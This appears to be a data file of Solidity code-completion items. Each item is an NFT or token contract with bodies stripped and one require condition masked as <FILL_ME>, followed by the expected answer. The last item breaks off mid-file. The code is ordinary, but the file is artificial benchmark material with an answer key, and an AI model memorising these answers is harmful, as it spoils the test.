string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(<FILL_ME>)
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(detailUrl).length<=maxUrlLength,"Invalid detailUrl length" | 418,973 | bytes(detailUrl).length<=maxUrlLength |
"Cannot mint more than 4 per wallet." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
contract Renascence is ERC721A, DefaultOperatorFilterer, Ownable {
using SafeMath for uint256;
mapping(address => uint256) public publicBalance; // internal balance of public mints to enforce limits
bool public mintingIsActive = false; // control if mints can proceed
bool public reservedTokens = false; // if team has minted tokens already
uint256 public constant maxSupply = 4096; // total supply
uint256 public constant maxMint = 4; // max per mint (non-holders)
uint256 public constant maxWallet = 4; // max per wallet (non-holders)
uint256 public constant teamReserve = 96; // amount to mint to the team
string public baseURI; // base URI of hosted IPFS assets
string public _contractURI; // contract URI for details
constructor() ERC721A("Renascence", "Renascence") {}
// Show contract URI
function contractURI() public view returns (string memory) {
}
// Withdraw contract balance to creator (mnemonic seed address 0)
function withdraw() external onlyOwner {
}
// Flip the minting from active or paused
function toggleMinting() external onlyOwner {
}
// Specify a new IPFS URI for token metadata
function setBaseURI(string memory URI) external onlyOwner {
}
// Specify a new contract URI
function setContractURI(string memory URI) external onlyOwner {
}
// Reserve some tokens for giveaways
function reserveTokens() public onlyOwner {
}
// Internal mint function
function _mintTokens(uint256 numberOfTokens) private {
}
// Mint public
function mintPublic(uint256 numberOfTokens) external payable {
require(mintingIsActive, "Minting is not active.");
require(msg.sender == tx.origin, "Cannot mint from external contract.");
require(numberOfTokens <= maxMint, "Cannot mint more than 4 during mint.");
require(<FILL_ME>)
_mintTokens(numberOfTokens);
publicBalance[msg.sender] = publicBalance[msg.sender].add(numberOfTokens);
}
/*
* Override the below functions from parent contracts
*/
// Always return tokenURI, even if token doesn't exist yet
function tokenURI(uint256 tokenId)
public
view
override(ERC721A)
returns (string memory)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
}
| publicBalance[msg.sender].add(numberOfTokens)<=maxWallet,"Cannot mint more than 4 per wallet." | 419,133 | publicBalance[msg.sender].add(numberOfTokens)<=maxWallet |
"Caller is not the deposit owner or delegate" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../art/ArtData.sol";
import "./DailyMint.sol";
/*$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$
| $$$ | $$ /$$__ $$|__ $$__/| $$_____/ /$$__ $$
| $$$$| $$| $$ \ $$ | $$ | $$ | $$ \__/
| $$ $$ $$| $$ | $$ | $$ | $$$$$ | $$$$$$
| $$ $$$$| $$ | $$ | $$ | $$__/ \____ $$
| $$\ $$$| $$ | $$ | $$ | $$ /$$ \ $$
| $$ \ $$| $$$$$$/ | $$ | $$$$$$$$| $$$$$$/
|__/ \__/ \______/ |__/ |________/ \_____*/
interface IFound is IERC20 {}
struct CoinVote {
address payer;
address minter;
uint artId;
uint amount;
}
struct MintCoin {
address payer;
address minter;
uint coinId;
uint amount;
}
struct ClaimCoin {
address minter;
uint coinId;
uint amount;
}
struct CreateNote {
address payer;
address minter;
address delegate;
address payee;
uint fund;
uint amount;
uint duration;
string memo;
bytes data;
}
struct Note {
uint id;
uint artId;
uint coinId;
uint fund;
uint reward;
uint expiresAt;
uint createdAt;
uint collectedAt;
uint shares;
uint principal;
uint penalty;
uint earnings;
uint funding;
uint duration;
uint dailyBonus;
address delegate;
address payee;
bool closed;
string memo;
bytes data;
}
struct WithdrawNote {
address payee;
uint noteId;
uint target;
}
struct DelegateNote {
uint noteId;
address delegate;
address payee;
string memo;
}
contract FoundNote is FoundBase {
using Strings for uint;
IFound private _money;
address private _bank;
ArtData private _data;
uint private _tokenCount;
uint private _totalShares;
uint private _totalDeposits;
uint private _totalEarnings;
uint private _totalFunding;
uint private _leap;
uint private _start;
uint public constant BASIS_POINTS = 10000;
uint public constant BID_INCREMENT = 100;
uint public constant DAY_BUFFER = 301 seconds;
uint public constant DAY_LENGTH = 25 hours + 20 minutes;
uint public constant DAYS_PER_WEEK = 7;
uint public constant MAX_DAYS = 7300;
uint public constant EARN_WINDOW = 30 * DAY_LENGTH;
uint public constant LATE_DURATION = 60 * DAY_LENGTH;
uint public constant MAX_DURATION = MAX_DAYS * DAY_LENGTH;
uint public constant MIN_DURATION = DAY_LENGTH - 1 hours;
mapping(uint => mapping(uint => uint)) private _votesOnArt;
mapping(uint => uint) private _artToCoin;
mapping(uint => uint) private _coinToArt;
mapping(uint => Note) private _deposits;
mapping(uint => uint) private _revenue;
mapping(uint => uint) private _shares;
mapping(uint => uint) private _claims;
mapping(uint => uint) private _locks;
event CoinCreated(
uint indexed coinId,
uint indexed artId,
uint amount,
uint timestamp
);
event CoinUpdated(
uint indexed coinId,
uint indexed from,
uint indexed to,
uint timestamp
);
event LeapDay(
uint indexed day,
uint dayLight,
uint nightTime,
uint leapSeconds,
uint timestamp
);
/*$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
/$$__ $$|__ $$__//$$__ $$| $$__ $$| $$_____/
| $$ \__/ | $$ | $$ \ $$| $$ \ $$| $$
| $$$$$$ | $$ | $$ | $$| $$$$$$$/| $$$$$
\____ $$ | $$ | $$ | $$| $$__ $$| $$__/
/$$ \ $$ | $$ | $$ | $$| $$ \ $$| $$
| $$$$$$/ | $$ | $$$$$$/| $$ | $$| $$$$$$$$
\______/ |__/ \______/ |__/ |__/|_______*/
modifier onlyAdmin() {
}
function cash() external view returns (IFound) {
}
function data() external view returns (ArtData) {
}
function bank() external view returns (address) {
}
function startTime() external view returns (uint) {
}
function leapSeconds() external view returns (uint) {
}
function currentDay() external view returns (uint) {
}
function timeToCoin(uint timestamp) external view returns (uint) {
}
function tokenCount() external view returns (uint) {
}
function totalShares() external view returns (uint) {
}
function totalDeposits() external view returns (uint) {
}
function totalEarnings() external view returns (uint) {
}
function totalFunding() external view returns (uint) {
}
function getShares(uint noteId) external view returns (uint) {
}
function getClaim(uint coinId) external view returns (uint) {
}
function getLock(uint artId) external view returns (uint) {
}
function getNote(uint noteId) external view returns (Note memory) {
}
function getCoin(uint coinId) external view returns (Art memory) {
}
function artToCoin(uint artId) external view returns (uint coinId) {
}
function coinToArt(uint coinId) external view returns (uint artId) {
}
function coinRevenue(uint coinId) external view returns (uint amount) {
}
function votesOnArt(uint coinId, uint artId) external view returns (uint amount) {
}
function dayLength() external pure returns (uint) {
}
function weekLength() external pure returns (uint) {
}
function _currentDay() internal view returns (uint) {
}
function _timeToCoin(uint timestamp) internal view returns (uint) {
}
function collectVote(CoinVote calldata params) external onlyAdmin returns (uint) {
}
function collectMint(
uint supply,
MintCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectClaim(
address from,
uint supply,
ClaimCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectLock(
address from,
uint coinId,
uint amount
) external onlyAdmin {
}
/*$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$$
/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$__ $$| $$ | $$_____/
| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$$$$$ | $$$$$$$$| $$$$$$$$| $$$$$$$/| $$$$$$$$| $$$$$$$ | $$ | $$$$$
\____ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$__/
/$$ \ $$| $$ | $$| $$ | $$| $$ \ $$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$$$| $$$$$$$$
\______/ |__/ |__/|__/ |__/|__/ |__/|__/ |__/|_______/ |________/|_______*/
function collectDeposit(
CreateNote calldata params,
uint reward
) external onlyAdmin returns (Note memory) {
}
function collectNote(
address sender,
address owner,
uint noteId,
address payee,
uint target
) external onlyAdmin returns (Note memory) {
require(
noteId > 0 && noteId <= _tokenCount,
"Deposit not found"
);
Note storage note = _deposits[noteId];
require(
note.collectedAt == 0,
"Deposit already collected"
);
uint timestamp = block.timestamp;
uint closeAt = note.expiresAt + EARN_WINDOW + LATE_DURATION;
if (timestamp <= closeAt) {
bool isOwner = sender == owner;
require(<FILL_ME>)
require(
isOwner || note.payee == address(0) || note.payee == payee,
"Delegated payees do not match"
);
(
note.earnings,
note.funding,
note.penalty
) = _calculateEarnings(note, timestamp);
_totalEarnings += note.earnings;
_totalFunding += note.funding;
} else {
note.penalty = note.principal;
note.closed = true;
}
require(
target == 0 || note.earnings >= target,
"Earnings missed the target"
);
note.collectedAt = timestamp;
_totalDeposits -= note.principal;
_totalShares -= note.shares;
return note;
}
function collectDelegate(
address sender,
address owner,
DelegateNote memory params
) external onlyAdmin returns (Note memory) {
}
function afterTransfer(uint noteId) external onlyAdmin {
}
function averageRevenue() external view returns (uint) {
}
function calculateAverageRevenue(uint coinId) external view returns (uint) {
}
function _calculateAverageRevenue(uint coinId) internal view returns (uint) {
}
function treasuryBalance() external view returns (uint) {
}
function _treasuryBalance() internal view returns (uint) {
}
function depositBalance(uint noteId) external view returns (uint) {
}
function _depositBalance(uint shares) internal view returns (uint) {
}
function dailyBonus() external view returns (uint) {
}
function calculateDailyBonus(uint coinId, uint amount) external view returns (uint) {
}
function _calculateDailyBonus(uint coinId, uint amount) internal view returns (uint) {
}
/*$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$
| $$__ $$| $$_____/| $$ | $$| $$_____/| $$$ | $$| $$ | $$| $$_____/
| $$ \ $$| $$ | $$ | $$| $$ | $$$$| $$| $$ | $$| $$
| $$$$$$$/| $$$$$ | $$ / $$/| $$$$$ | $$ $$ $$| $$ | $$| $$$$$
| $$__ $$| $$__/ \ $$ $$/ | $$__/ | $$ $$$$| $$ | $$| $$__/
| $$ \ $$| $$ \ $$$/ | $$ | $$\ $$$| $$ | $$| $$
| $$ | $$| $$$$$$$$ \ $/ | $$$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$$
|__/ |__/|________/ \_/ |________/|__/ \__/ \______/ |_______*/
function calculateShares(uint coinId, uint amount, uint duration) public view returns (uint, uint) {
}
function calculateEarnings(
uint noteId, uint timestamp
) external view returns (uint earnings, uint funding, uint penalty) {
}
function _calculateEarnings(Note memory note, uint timestamp) internal view returns (uint, uint, uint) {
}
function calculatePenalty(uint noteId, uint timestamp) external view returns (uint) {
}
function _calculatePenalty(Note memory note, uint timestamp) internal pure returns (uint) {
}
function _requireNote(uint noteId) internal view returns (Note memory) {
}
function _requireUnlockedArt(uint artId, uint targetSupply) internal view {
}
function _requireFoundArt(uint coinId) internal view returns (uint artId) {
}
function _requireOwnerOrDelegate(
uint artId,
address addr
) internal view returns (address, address) {
}
constructor(
address bank_,
ArtData data_,
IFound money_
) {
}
}
| isOwner||sender==note.delegate,"Caller is not the deposit owner or delegate" | 419,145 | isOwner||sender==note.delegate |
"Delegated payees do not match" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../art/ArtData.sol";
import "./DailyMint.sol";
/*$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$
| $$$ | $$ /$$__ $$|__ $$__/| $$_____/ /$$__ $$
| $$$$| $$| $$ \ $$ | $$ | $$ | $$ \__/
| $$ $$ $$| $$ | $$ | $$ | $$$$$ | $$$$$$
| $$ $$$$| $$ | $$ | $$ | $$__/ \____ $$
| $$\ $$$| $$ | $$ | $$ | $$ /$$ \ $$
| $$ \ $$| $$$$$$/ | $$ | $$$$$$$$| $$$$$$/
|__/ \__/ \______/ |__/ |________/ \_____*/
interface IFound is IERC20 {}
struct CoinVote {
address payer;
address minter;
uint artId;
uint amount;
}
struct MintCoin {
address payer;
address minter;
uint coinId;
uint amount;
}
struct ClaimCoin {
address minter;
uint coinId;
uint amount;
}
struct CreateNote {
address payer;
address minter;
address delegate;
address payee;
uint fund;
uint amount;
uint duration;
string memo;
bytes data;
}
struct Note {
uint id;
uint artId;
uint coinId;
uint fund;
uint reward;
uint expiresAt;
uint createdAt;
uint collectedAt;
uint shares;
uint principal;
uint penalty;
uint earnings;
uint funding;
uint duration;
uint dailyBonus;
address delegate;
address payee;
bool closed;
string memo;
bytes data;
}
struct WithdrawNote {
address payee;
uint noteId;
uint target;
}
struct DelegateNote {
uint noteId;
address delegate;
address payee;
string memo;
}
contract FoundNote is FoundBase {
using Strings for uint;
IFound private _money;
address private _bank;
ArtData private _data;
uint private _tokenCount;
uint private _totalShares;
uint private _totalDeposits;
uint private _totalEarnings;
uint private _totalFunding;
uint private _leap;
uint private _start;
uint public constant BASIS_POINTS = 10000;
uint public constant BID_INCREMENT = 100;
uint public constant DAY_BUFFER = 301 seconds;
uint public constant DAY_LENGTH = 25 hours + 20 minutes;
uint public constant DAYS_PER_WEEK = 7;
uint public constant MAX_DAYS = 7300;
uint public constant EARN_WINDOW = 30 * DAY_LENGTH;
uint public constant LATE_DURATION = 60 * DAY_LENGTH;
uint public constant MAX_DURATION = MAX_DAYS * DAY_LENGTH;
uint public constant MIN_DURATION = DAY_LENGTH - 1 hours;
mapping(uint => mapping(uint => uint)) private _votesOnArt;
mapping(uint => uint) private _artToCoin;
mapping(uint => uint) private _coinToArt;
mapping(uint => Note) private _deposits;
mapping(uint => uint) private _revenue;
mapping(uint => uint) private _shares;
mapping(uint => uint) private _claims;
mapping(uint => uint) private _locks;
event CoinCreated(
uint indexed coinId,
uint indexed artId,
uint amount,
uint timestamp
);
event CoinUpdated(
uint indexed coinId,
uint indexed from,
uint indexed to,
uint timestamp
);
event LeapDay(
uint indexed day,
uint dayLight,
uint nightTime,
uint leapSeconds,
uint timestamp
);
/*$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
/$$__ $$|__ $$__//$$__ $$| $$__ $$| $$_____/
| $$ \__/ | $$ | $$ \ $$| $$ \ $$| $$
| $$$$$$ | $$ | $$ | $$| $$$$$$$/| $$$$$
\____ $$ | $$ | $$ | $$| $$__ $$| $$__/
/$$ \ $$ | $$ | $$ | $$| $$ \ $$| $$
| $$$$$$/ | $$ | $$$$$$/| $$ | $$| $$$$$$$$
\______/ |__/ \______/ |__/ |__/|_______*/
modifier onlyAdmin() {
}
function cash() external view returns (IFound) {
}
function data() external view returns (ArtData) {
}
function bank() external view returns (address) {
}
function startTime() external view returns (uint) {
}
function leapSeconds() external view returns (uint) {
}
function currentDay() external view returns (uint) {
}
function timeToCoin(uint timestamp) external view returns (uint) {
}
function tokenCount() external view returns (uint) {
}
function totalShares() external view returns (uint) {
}
function totalDeposits() external view returns (uint) {
}
function totalEarnings() external view returns (uint) {
}
function totalFunding() external view returns (uint) {
}
function getShares(uint noteId) external view returns (uint) {
}
function getClaim(uint coinId) external view returns (uint) {
}
function getLock(uint artId) external view returns (uint) {
}
function getNote(uint noteId) external view returns (Note memory) {
}
function getCoin(uint coinId) external view returns (Art memory) {
}
function artToCoin(uint artId) external view returns (uint coinId) {
}
function coinToArt(uint coinId) external view returns (uint artId) {
}
function coinRevenue(uint coinId) external view returns (uint amount) {
}
function votesOnArt(uint coinId, uint artId) external view returns (uint amount) {
}
function dayLength() external pure returns (uint) {
}
function weekLength() external pure returns (uint) {
}
function _currentDay() internal view returns (uint) {
}
function _timeToCoin(uint timestamp) internal view returns (uint) {
}
function collectVote(CoinVote calldata params) external onlyAdmin returns (uint) {
}
function collectMint(
uint supply,
MintCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectClaim(
address from,
uint supply,
ClaimCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectLock(
address from,
uint coinId,
uint amount
) external onlyAdmin {
}
/*$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$$
/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$__ $$| $$ | $$_____/
| $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ | $$
| $$$$$$ | $$$$$$$$| $$$$$$$$| $$$$$$$/| $$$$$$$$| $$$$$$$ | $$ | $$$$$
\____ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$__ $$| $$ | $$__/
/$$ \ $$| $$ | $$| $$ | $$| $$ \ $$| $$ | $$| $$ \ $$| $$ | $$
| $$$$$$/| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$$$$$$/| $$$$$$$$| $$$$$$$$
\______/ |__/ |__/|__/ |__/|__/ |__/|__/ |__/|_______/ |________/|_______*/
function collectDeposit(
CreateNote calldata params,
uint reward
) external onlyAdmin returns (Note memory) {
}
function collectNote(
address sender,
address owner,
uint noteId,
address payee,
uint target
) external onlyAdmin returns (Note memory) {
require(
noteId > 0 && noteId <= _tokenCount,
"Deposit not found"
);
Note storage note = _deposits[noteId];
require(
note.collectedAt == 0,
"Deposit already collected"
);
uint timestamp = block.timestamp;
uint closeAt = note.expiresAt + EARN_WINDOW + LATE_DURATION;
if (timestamp <= closeAt) {
bool isOwner = sender == owner;
require(
isOwner || sender == note.delegate,
"Caller is not the deposit owner or delegate"
);
require(<FILL_ME>)
(
note.earnings,
note.funding,
note.penalty
) = _calculateEarnings(note, timestamp);
_totalEarnings += note.earnings;
_totalFunding += note.funding;
} else {
note.penalty = note.principal;
note.closed = true;
}
require(
target == 0 || note.earnings >= target,
"Earnings missed the target"
);
note.collectedAt = timestamp;
_totalDeposits -= note.principal;
_totalShares -= note.shares;
return note;
}
function collectDelegate(
address sender,
address owner,
DelegateNote memory params
) external onlyAdmin returns (Note memory) {
}
function afterTransfer(uint noteId) external onlyAdmin {
}
function averageRevenue() external view returns (uint) {
}
function calculateAverageRevenue(uint coinId) external view returns (uint) {
}
function _calculateAverageRevenue(uint coinId) internal view returns (uint) {
}
function treasuryBalance() external view returns (uint) {
}
function _treasuryBalance() internal view returns (uint) {
}
function depositBalance(uint noteId) external view returns (uint) {
}
function _depositBalance(uint shares) internal view returns (uint) {
}
function dailyBonus() external view returns (uint) {
}
function calculateDailyBonus(uint coinId, uint amount) external view returns (uint) {
}
function _calculateDailyBonus(uint coinId, uint amount) internal view returns (uint) {
}
/*$$$$$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$
| $$__ $$| $$_____/| $$ | $$| $$_____/| $$$ | $$| $$ | $$| $$_____/
| $$ \ $$| $$ | $$ | $$| $$ | $$$$| $$| $$ | $$| $$
| $$$$$$$/| $$$$$ | $$ / $$/| $$$$$ | $$ $$ $$| $$ | $$| $$$$$
| $$__ $$| $$__/ \ $$ $$/ | $$__/ | $$ $$$$| $$ | $$| $$__/
| $$ \ $$| $$ \ $$$/ | $$ | $$\ $$$| $$ | $$| $$
| $$ | $$| $$$$$$$$ \ $/ | $$$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$$
|__/ |__/|________/ \_/ |________/|__/ \__/ \______/ |_______*/
function calculateShares(uint coinId, uint amount, uint duration) public view returns (uint, uint) {
}
function calculateEarnings(
uint noteId, uint timestamp
) external view returns (uint earnings, uint funding, uint penalty) {
}
function _calculateEarnings(Note memory note, uint timestamp) internal view returns (uint, uint, uint) {
}
function calculatePenalty(uint noteId, uint timestamp) external view returns (uint) {
}
function _calculatePenalty(Note memory note, uint timestamp) internal pure returns (uint) {
}
function _requireNote(uint noteId) internal view returns (Note memory) {
}
function _requireUnlockedArt(uint artId, uint targetSupply) internal view {
}
function _requireFoundArt(uint coinId) internal view returns (uint artId) {
}
function _requireOwnerOrDelegate(
uint artId,
address addr
) internal view returns (address, address) {
}
constructor(
address bank_,
ArtData data_,
IFound money_
) {
}
}
| isOwner||note.payee==address(0)||note.payee==payee,"Delegated payees do not match" | 419,145 | isOwner||note.payee==address(0)||note.payee==payee |
"Only the owner may update the payee" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../art/ArtData.sol";
import "./DailyMint.sol";
/*$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$$$$$
| $$$ | $$ /$$__ $$|__ $$__/| $$_____/ /$$__ $$
| $$$$| $$| $$ \ $$ | $$ | $$ | $$ \__/
| $$ $$ $$| $$ | $$ | $$ | $$$$$ | $$$$$$
| $$ $$$$| $$ | $$ | $$ | $$__/ \____ $$
| $$\ $$$| $$ | $$ | $$ | $$ /$$ \ $$
| $$ \ $$| $$$$$$/ | $$ | $$$$$$$$| $$$$$$/
|__/ \__/ \______/ |__/ |________/ \_____*/
interface IFound is IERC20 {}
struct CoinVote {
address payer;
address minter;
uint artId;
uint amount;
}
struct MintCoin {
address payer;
address minter;
uint coinId;
uint amount;
}
struct ClaimCoin {
address minter;
uint coinId;
uint amount;
}
struct CreateNote {
address payer;
address minter;
address delegate;
address payee;
uint fund;
uint amount;
uint duration;
string memo;
bytes data;
}
struct Note {
uint id;
uint artId;
uint coinId;
uint fund;
uint reward;
uint expiresAt;
uint createdAt;
uint collectedAt;
uint shares;
uint principal;
uint penalty;
uint earnings;
uint funding;
uint duration;
uint dailyBonus;
address delegate;
address payee;
bool closed;
string memo;
bytes data;
}
struct WithdrawNote {
address payee;
uint noteId;
uint target;
}
struct DelegateNote {
uint noteId;
address delegate;
address payee;
string memo;
}
contract FoundNote is FoundBase {
using Strings for uint;
IFound private _money;
address private _bank;
ArtData private _data;
uint private _tokenCount;
uint private _totalShares;
uint private _totalDeposits;
uint private _totalEarnings;
uint private _totalFunding;
uint private _leap;
uint private _start;
uint public constant BASIS_POINTS = 10000;
uint public constant BID_INCREMENT = 100;
uint public constant DAY_BUFFER = 301 seconds;
uint public constant DAY_LENGTH = 25 hours + 20 minutes;
uint public constant DAYS_PER_WEEK = 7;
uint public constant MAX_DAYS = 7300;
uint public constant EARN_WINDOW = 30 * DAY_LENGTH;
uint public constant LATE_DURATION = 60 * DAY_LENGTH;
uint public constant MAX_DURATION = MAX_DAYS * DAY_LENGTH;
uint public constant MIN_DURATION = DAY_LENGTH - 1 hours;
mapping(uint => mapping(uint => uint)) private _votesOnArt;
mapping(uint => uint) private _artToCoin;
mapping(uint => uint) private _coinToArt;
mapping(uint => Note) private _deposits;
mapping(uint => uint) private _revenue;
mapping(uint => uint) private _shares;
mapping(uint => uint) private _claims;
mapping(uint => uint) private _locks;
event CoinCreated(
uint indexed coinId,
uint indexed artId,
uint amount,
uint timestamp
);
event CoinUpdated(
uint indexed coinId,
uint indexed from,
uint indexed to,
uint timestamp
);
event LeapDay(
uint indexed day,
uint dayLight,
uint nightTime,
uint leapSeconds,
uint timestamp
);
/*$$$$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
/$$__ $$|__ $$__//$$__ $$| $$__ $$| $$_____/
| $$ \__/ | $$ | $$ \ $$| $$ \ $$| $$
| $$$$$$ | $$ | $$ | $$| $$$$$$$/| $$$$$
\____ $$ | $$ | $$ | $$| $$__ $$| $$__/
/$$ \ $$ | $$ | $$ | $$| $$ \ $$| $$
| $$$$$$/ | $$ | $$$$$$/| $$ | $$| $$$$$$$$
\______/ |__/ \______/ |__/ |__/|_______*/
modifier onlyAdmin() {
}
function cash() external view returns (IFound) {
}
function data() external view returns (ArtData) {
}
function bank() external view returns (address) {
}
function startTime() external view returns (uint) {
}
function leapSeconds() external view returns (uint) {
}
function currentDay() external view returns (uint) {
}
function timeToCoin(uint timestamp) external view returns (uint) {
}
function tokenCount() external view returns (uint) {
}
function totalShares() external view returns (uint) {
}
function totalDeposits() external view returns (uint) {
}
function totalEarnings() external view returns (uint) {
}
function totalFunding() external view returns (uint) {
}
function getShares(uint noteId) external view returns (uint) {
}
function getClaim(uint coinId) external view returns (uint) {
}
function getLock(uint artId) external view returns (uint) {
}
function getNote(uint noteId) external view returns (Note memory) {
}
function getCoin(uint coinId) external view returns (Art memory) {
}
function artToCoin(uint artId) external view returns (uint coinId) {
}
function coinToArt(uint coinId) external view returns (uint artId) {
}
function coinRevenue(uint coinId) external view returns (uint amount) {
}
function votesOnArt(uint coinId, uint artId) external view returns (uint amount) {
}
function dayLength() external pure returns (uint) {
}
function weekLength() external pure returns (uint) {
}
function _currentDay() internal view returns (uint) {
}
function _timeToCoin(uint timestamp) internal view returns (uint) {
}
function collectVote(CoinVote calldata params) external onlyAdmin returns (uint) {
}
function collectMint(
uint supply,
MintCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectClaim(
address from,
uint supply,
ClaimCoin calldata params
) external onlyAdmin returns (uint) {
}
function collectLock(
address from,
uint coinId,
uint amount
) external onlyAdmin {
}
/*$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$$
/$$__ $$| $$ | $$ /$$__ $$| $$__ $$ /$$__ $$| $$__ $$| $$ | $$_____/
